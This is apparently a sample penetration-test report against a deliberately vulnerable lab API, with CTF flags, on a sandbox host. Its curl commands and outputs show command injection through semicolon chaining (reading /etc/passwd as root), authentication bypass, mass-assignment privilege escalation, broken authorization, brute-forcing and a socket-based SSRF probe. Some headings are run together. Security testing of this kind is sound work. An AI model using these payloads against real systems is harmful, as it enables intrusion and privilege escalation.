sample-reports/shannon-report-capital-api.md
Authentication Vulnerabilities: Critical authentication vulnerabilities were successfully exploited:
Authorization Vulnerabilities: Critical authorization vulnerabilities were successfully exploited:
Cross-Site Scripting (XSS) Vulnerabilities: No XSS vulnerabilities were found. The application demonstrates robust XSS defenses through React's default HTML escaping, XSS library sanitization, and proper URL validation.
SQL/Command Injection Vulnerabilities: One critical command injection vulnerability was successfully exploited:
Server-Side Request Forgery (SSRF) Vulnerabilities: One high-severity SSRF vulnerability was successfully exploited:
[REDACTED]
Summary:
/api/debug endpoint at http://capital-api.sandbox.local:8000/api/debugPrerequisites:
Exploitation Steps:
Register a user account to obtain JWT token:
curl -X POST "<http://capital-api.sandbox.local:8000/api/users>" \\
-H "Content-Type: application/json" \\
-d '{"user":{"username":"exploit9999","email":"[email protected]","password":"testpassword"}}'
Response includes JWT token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImV4cGxvaXQ5OTk5IiwiZXhwIjoxNzU5MTc0NTc0LCJzdWIiOiJhY2Nlc3MifQ.7Lfo9DRWpaac_yOmBY1i73GzNH5m2zU6Cd1MZDvNrgE
Execute command injection to extract sensitive data:
curl -X POST "<http://capital-api.sandbox.local:8000/api/debug>" \\
-H "Content-Type: application/json" \\
-H "Authorization: Token [JWT_TOKEN]" \\
-d '{"body":{"command":"uptime; cat /etc/passwd"}}'
Confirm root-level privilege escalation:
curl -X POST "<http://capital-api.sandbox.local:8000/api/debug>" \\
-H "Content-Type: application/json" \\
-H "Authorization: Token [JWT_TOKEN]" \\
-d '{"body":{"command":"uptime; whoami; id; pwd"}}'
Proof of Impact:
Complete System Compromise Achieved:
/etc/passwd file containing all system users/capital, system uptime, load averagesSample Extracted Data:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[...complete user list...]
User Context:
uid=0(root) gid=0(root) groups=0(root)
Working Directory: /capital
Technical Details:
"rm" and "||" but allows semicolon (;) command chaininguptime; [ARBITRARY_COMMAND] pattern successfully bypasses whitelist validationNotes: The vulnerability allows complete system compromise. An attacker with this access could:
This represents one of the most severe types of vulnerabilities possible in a web application.
No XSS vulnerabilities were successfully exploited - exploitation queue was empty.
Summary:
/api/v1/users/login endpointExploitation Steps:
Target the legacy authentication endpoint directly on the backend:
curl -X POST <http://capital-api.sandbox.local:8000/api/v1/users/login> \\
-H "Content-Type: application/json" \\
-d '{"user": {"email": "[email protected]", "password": "anything"}}'
The endpoint returns successful authentication with user data and token:
{
"user": {
"username": "Pikachu",
"email": "[email protected]",
"admin": false,
"token": "Keep it up!"
},
"flag": "flag{Impr0peR_Ass3ts_ManAg3m3nt}"
}
Verify bypass works with any user and any password:
curl -X POST <http://capital-api.sandbox.local:8000/api/v1/users/login> \\
-H "Content-Type: application/json" \\
-d '{"user": {"email": "[email protected]", "password": "wrongpassword"}}'
Proof of Impact:
Successfully authenticated as multiple users ([email protected], [email protected]) using completely wrong passwords. Flag flag{Impr0peR_Ass3ts_ManAg3m3nt} confirms successful exploitation.
Summary:
PUT /api/user endpointPrerequisites: Valid JWT token from authentication
Exploitation Steps:
Authenticate as a regular user to obtain JWT token:
curl -X POST <http://capital-api.sandbox.local:8000/api/v2/users/login> \\
-H "Content-Type: application/json" \\
-d '{"user": {"email": "[email protected]", "password": "snorlax"}}'
Use the JWT token to escalate privileges via mass assignment:
curl -X PUT <http://capital-api.sandbox.local:8000/api/user> \\
-H "Content-Type: application/json" \\
-H "Authorization: Token [JWT_TOKEN]" \\
-d '{"user": {"admin": true}}'
Server responds with elevated privileges:
{
"user": {
"username": "Pikachu",
"email": "[email protected]",
"admin": true,
"token": "[NEW_ADMIN_TOKEN]"
}
}
Proof of Impact:
Response shows "admin": true and includes flag flag{M4sS_AsS1gnm3nt} confirming successful privilege escalation from regular user to admin.
Summary:
Exploitation Steps:
Access the frontend application via browser:
<https://capital-api.sandbox.local:4100>
Demonstrate JavaScript access to stored tokens:
// Simulate XSS attack stealing token
const stolenToken = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...";
localStorage.setItem('jwt', stolenToken);
// Verify token is accessible
localStorage.getItem('jwt'); // Returns the token
Use stolen token to access protected resources:
curl -X GET <http://capital-api.sandbox.local:8000/api/user> \\
-H "Authorization: Token [STOLEN_JWT_TOKEN]"
Proof of Impact:
Successfully demonstrated that JWT tokens can be injected and retrieved via JavaScript localStorage.getItem('jwt'). This proves any XSS attack can steal authentication tokens for session hijacking.
Summary:
POST /api/v2/users/loginExploitation Steps:
Automated brute force attack against login endpoint with 25 password attempts:
Target: [email protected]
Passwords tested: ["password", "123456", "admin", "test", "IamDev", ...]
Script processed all attempts without rate limiting:
Successfully discovered valid credentials:
Email: [email protected]
Password: IamDev
Evidence of Vulnerability:
Brute force script in /Users/arjunmalleswaran/Code/pentest-repos/capital/auth_brute_force_test.py successfully processed 25 rapid authentication attempts without any protective measures. Valid credentials discovered proving the attack's effectiveness.
Summary:
Exploitation Steps:
Frontend serves content over HTTPS:
<https://capital-api.sandbox.local:4100>
Backend API accessible over unencrypted HTTP:
curl -X POST <http://capital-api.sandbox.local:8000/api/v2/users/login> \\
-H "Content-Type: application/json" \\
-d '{"user": {"email": "[email protected]", "password": "snorlax"}}'
Network traffic shows plaintext credential transmission:
POST /api/v2/users/login HTTP/1.1
Host: capital-api.sandbox.local:8000
Content-Type: application/json
{"user": {"email": "[email protected]", "password": "snorlax"}}
Evidence of Vulnerability: Direct HTTP access to backend demonstrates mixed content vulnerability. All authentication requests, including passwords and JWT tokens, are transmitted without encryption and can be intercepted by network attackers.
Summary:
Prerequisites:
/api/debugExploitation Steps:
Obtain Authentication Token via User Registration:
curl -X POST "<http://capital-api.sandbox.local:8000/api/users>" \\
-H "Content-Type: application/json" \\
-d '{"user": {"username": "ssrftester", "email": "[email protected]", "password": "password123"}}'
Response: JWT token in response body: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InNzcmZ0ZXN0ZXIiLCJleHAiOjE3NTkxNzQ0OTMsInN1YiI6ImFjY2VzcyJ9.gvXEUVS_STxz-JepDoVWgPRWBrmQ2PWZaQC0PDmBCbM
Test Command Injection Vulnerability:
curl -X POST "<http://capital-api.sandbox.local:8000/api/debug>" \\
-H "Content-Type: application/json" \\
-H "Authorization: Token [JWT_TOKEN]" \\
-d '{"body": {"command": "uptime; id"}}'
Response: Command injection confirmed with root privileges and injection flag
Demonstrate Internal Network Access via SSRF:
curl -X POST "<http://capital-api.sandbox.local:8000/api/debug>" \\
-H "Content-Type: application/json" \\
-H "Authorization: Token [JWT_TOKEN]" \\
-d '{"body": {"command": "uptime; /usr/local/bin/python3 -c \\"import socket; s=socket.socket(); s.connect(('"'"'127.0.0.1'"'"', 8000)); print('"'"'Connected to 127.0.0.1:8000'"'"'); s.close()\\""}}'
Response: Successful socket connection to internal service confirmed
Proof of Impact:
; command chainingflag{1nject10n_Ap1} - indicates successful command injection exploitationNotes:
Summary:
Prerequisites:
Exploitation Steps:
Send authentication request to legacy endpoint:
curl -X POST "<http://capital-api.sandbox.local:8000/api/v1/users/login>" \\
-H "Content-Type: application/json" \\
-d '{
"user": {
"email": "[email protected]",
"password": "anypassword"
}
}'
Receive successful authentication response:
{
"user": {
"username": "user",
"email": "[email protected]",
"bio": "",
"image": null,
"admin": false,
"token": "Keep it up!"
},
"flag": "flag{Impr0peR_Ass3ts_ManAg3m3nt}",
"description": "Old API versions are usually unpatched..."
}
Proof of Impact:
flag{Impr0peR_Ass3ts_ManAg3m3nt}Summary:
Prerequisites:
Exploitation Steps:
Register legitimate user account:
curl -X POST "<http://capital-api.sandbox.local:8000/api/users>" \\
-H "Content-Type: application/json" \\
-d '{
"user": {
"username": "exploiter1",
"email": "[email protected]",
"password": "SecurePass123!"
}
}'
Extract JWT token from registration response:
Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImV4cGxvaXRlcjEiLCJleHAiOjE3NTkxNzQ1MzcsInN1YiI6ImFjY2VzcyJ9.vQVA7XoKGUtj14ZrL4SGNriRIPMtjZkmIZ67NTqAJZU
Access another user's profile (TeamR$cket):
curl "<http://capital-api.sandbox.local:8000/api/profiles/TeamR\\$cket>" \\
-H "Authorization: Token [JWT_TOKEN]"
Proof of Impact:
flag{M4sS_AsS1gnm3nt}Summary:
Prerequisites:
Exploitation Steps:
Access admin endpoint with regular user token:
curl "<http://capital-api.sandbox.local:8000/api/admin>" \\
-H "Authorization: Token [JWT_TOKEN]"
Receive admin functionality response:
{
"flag": "flag{BFL4_I_aM_Th3_aDm1n_H3r3!}",
"description": "Complex access control policies with different hierarchies..."
}
Proof of Impact:
flag{BFL4_I_aM_Th3_aDm1n_H3r3!} (Broken Function Level Authorization)Summary:
Prerequisites:
Exploitation Steps:
Send profile update request with admin privilege escalation:
curl -X PUT "<http://capital-api.sandbox.local:8000/api/user>" \\
-H "Authorization: Token [JWT_TOKEN]" \\
-H "Content-Type: application/json" \\
-d '{
"user": {
"admin": true
}
}'
Receive updated profile with admin privileges:
{
"user": {
"username": "exploiter1",
"email": "[email protected]",
"bio": "flag{M4sS_AsS1gnm3nt}...",
"image": null,
"admin": true,
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImV4cGxvaXRlcjEiLCJleHAiOjE3NTkxNzQ1OTYsInN1YiI6ImFjY2VzcyJ9.UOxR-uymoNWBEpL-uHtdz6deTqgr3n4wDoKryqhYKZA"
}
}
Proof of Impact:
"admin": trueflag{M4sS_AsS1gnm3nt} (Mass Assignment vulnerability)Summary:
Prerequisites:
Exploitation Steps:
Send debug command with injection payload:
curl -X POST "<http://capital-api.sandbox.local:8000/api/debug>" \\
-H "Authorization: Token [JWT_TOKEN]" \\
-H "Content-Type: application/json" \\
-d '{
"body": {
"command": "uptime; whoami"
}
}'
Receive system command execution results:
{
"stdout": " 19:37:08 up 19 days, 8:49, 0 users, load average: 6.76, 6.15, 6.12\\nroot\\n",
"flag": "flag{1nject10n_Ap1}",
"description": "Attackers will feed the API with malicious data..."
}
Proof of Impact:
uptime and whoamirootflag{1nject10n_Ap1} (Injection API vulnerability)Summary:
Prerequisites:
Exploitation Steps:
Directly access admin endpoint without role verification workflow:
curl "<http://capital-api.sandbox.local:8000/api/admin>" \\
-H "Authorization: Token [JWT_TOKEN]"
Proof of Impact:
flag{BFL4_I_aM_Th3_aDm1n_H3r3!}Summary:
Prerequisites:
Exploitation Steps:
Access debug functionality in production environment:
curl -X POST "<http://capital-api.sandbox.local:8000/api/debug>" \\
-H "Authorization: Token [JWT_TOKEN]" \\
-H "Content-Type: application/json" \\
-d '{
"body": {
"command": "uptime; whoami"
}
}'
Proof of Impact:
flag{1nject10n_Ap1}Summary:
Prerequisites:
Exploitation Steps:
Escalate privileges through self-service workflow:
curl -X PUT "<http://capital-api.sandbox.local:8000/api/user>" \\
-H "Authorization: Token [JWT_TOKEN]" \\
-H "Content-Type: application/json" \\
-d '{
"user": {
"admin": true
}
}'
Proof of Impact:
flag{M4sS_AsS1gnm3nt}